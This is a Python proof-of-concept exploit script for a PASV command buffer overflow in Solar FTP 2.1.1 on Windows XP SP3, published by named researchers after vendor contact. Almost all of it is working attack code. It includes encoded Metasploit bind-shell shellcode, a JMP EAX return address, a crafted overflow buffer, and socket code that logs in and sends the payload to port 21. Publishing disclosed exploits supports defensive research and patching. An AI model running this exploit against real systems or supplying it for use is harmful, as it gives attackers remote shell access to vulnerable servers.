#!/usr/bin/python

#Title:	Solar FTP 2.1.1 PASV Command PoC
#Authors: Craig Freyman (@cd1zz) and Gerardo Iglesias (@iglesiasgg)
#Tested: Windows XP SP3
#Vendor Contacted July 11, 2011
#Vendor Response: July 12, 2011 - Will fix ASAP, approved release of PoC.
#Notes: We found different offsets depending on the subnet that the server was running on. 
#This particular exploit was run with the server running on 192.168.133.128. If you test this exploit and the
#app just crashes instead of running the shellcode, pass the exeptions through your debugger and after 
#about 5 of them, you'll see EIP overwritten. If you can figure out why these offsets change, more power to you!
#We found the most consistent behavior using a total buffer of about 2127 bytes.

import socket,sys,time,struct

if len(sys.argv) < 2:
     print "[-]Usage: %s <target addr> " % sys.argv[0]
     
     sys.exit(0)

target = sys.argv[1]

if len(sys.argv) > 2:
     platform = sys.argv[2]

#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b '\x00'
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ("\xd9\xcf\xbe\x41\xb0\x13\xe9\xd9\x74\x24\xf4\x5f\x29\xc9" 
"\xb1\x56\x31\x77\x18\x03\x77\x18\x83\xc7\x45\x52\xe6\x15" 
"\xad\x1b\x09\xe6\x2d\x7c\x83\x03\x1c\xae\xf7\x40\x0c\x7e" 
"\x73\x04\xbc\xf5\xd1\xbd\x37\x7b\xfe\xb2\xf0\x36\xd8\xfd" 
"\x01\xf7\xe4\x52\xc1\x99\x98\xa8\x15\x7a\xa0\x62\x68\x7b" 
"\xe5\x9f\x82\x29\xbe\xd4\x30\xde\xcb\xa9\x88\xdf\x1b\xa6" 
"\xb0\xa7\x1e\x79\x44\x12\x20\xaa\xf4\x29\x6a\x52\x7f\x75" 
"\x4b\x63\xac\x65\xb7\x2a\xd9\x5e\x43\xad\x0b\xaf\xac\x9f" 
"\x73\x7c\x93\x2f\x7e\x7c\xd3\x88\x60\x0b\x2f\xeb\x1d\x0c" 
"\xf4\x91\xf9\x99\xe9\x32\x8a\x3a\xca\xc3\x5f\xdc\x99\xc8" 
"\x14\xaa\xc6\xcc\xab\x7f\x7d\xe8\x20\x7e\x52\x78\x72\xa5" 
"\x76\x20\x21\xc4\x2f\x8c\x84\xf9\x30\x68\x79\x5c\x3a\x9b" 
"\x6e\xe6\x61\xf4\x43\xd5\x99\x04\xcb\x6e\xe9\x36\x54\xc5" 
"\x65\x7b\x1d\xc3\x72\x7c\x34\xb3\xed\x83\xb6\xc4\x24\x40" 
"\xe2\x94\x5e\x61\x8a\x7e\x9f\x8e\x5f\xd0\xcf\x20\x0f\x91" 
"\xbf\x80\xff\x79\xaa\x0e\x20\x99\xd5\xc4\x57\x9d\x1b\x3c" 
"\x34\x4a\x5e\xc2\xab\xd6\xd7\x24\xa1\xf6\xb1\xff\x5d\x35" 
"\xe6\x37\xfa\x46\xcc\x6b\x53\xd1\x58\x62\x63\xde\x58\xa0" 
"\xc0\x73\xf0\x23\x92\x9f\xc5\x52\xa5\xb5\x6d\x1c\x9e\x5e" 
"\xe7\x70\x6d\xfe\xf8\x58\x05\x63\x6a\x07\xd5\xea\x97\x90" 
"\x82\xbb\x66\xe9\x46\x56\xd0\x43\x74\xab\x84\xac\x3c\x70" 
"\x75\x32\xbd\xf5\xc1\x10\xad\xc3\xca\x1c\x99\x9b\x9c\xca" 
"\x77\x5a\x77\xbd\x21\x34\x24\x17\xa5\xc1\x06\xa8\xb3\xcd" 
"\x42\x5e\x5b\x7f\x3b\x27\x64\xb0\xab\xaf\x1d\xac\x4b\x4f" 
"\xf4\x74\x7b\x1a\x54\xdc\x14\xc3\x0d\x5c\x79\xf4\xf8\xa3" 
"\x84\x77\x08\x5c\x73\x67\x79\x59\x3f\x2f\x92\x13\x50\xda" 
"\x94\x80\x51\xcf")

#7C9572D8 JMP EAX

ret = struct.pack('<L', 0x7C9572D8)

#works when the server is on 192.168.133.128
padding = "\x43" * 100
junk = "\x43" * (1900 - len(shellcode))
frontpad = "\x41" * 100 + "\xeb\x30" + "\x41" * 21
crash = frontpad + ret + padding + shellcode + junk

print "\
[*] Solar FTP 2.1.1 PASV Exploit\n\
[*] Authors: Craig Freyman (@cd1zz) and Gerardo Iglesias (@iglesiasgg)\n\
[*] Connecting to "+target

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((target,21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)

print "[*] Sending " + `len(crash)` + " byte PASV crash..."

s.send("USER test\r\n")
s.recv(1024)
s.send("PASS test\r\n")
s.recv(1024)
s.send("PASV " + crash + "\r\n")


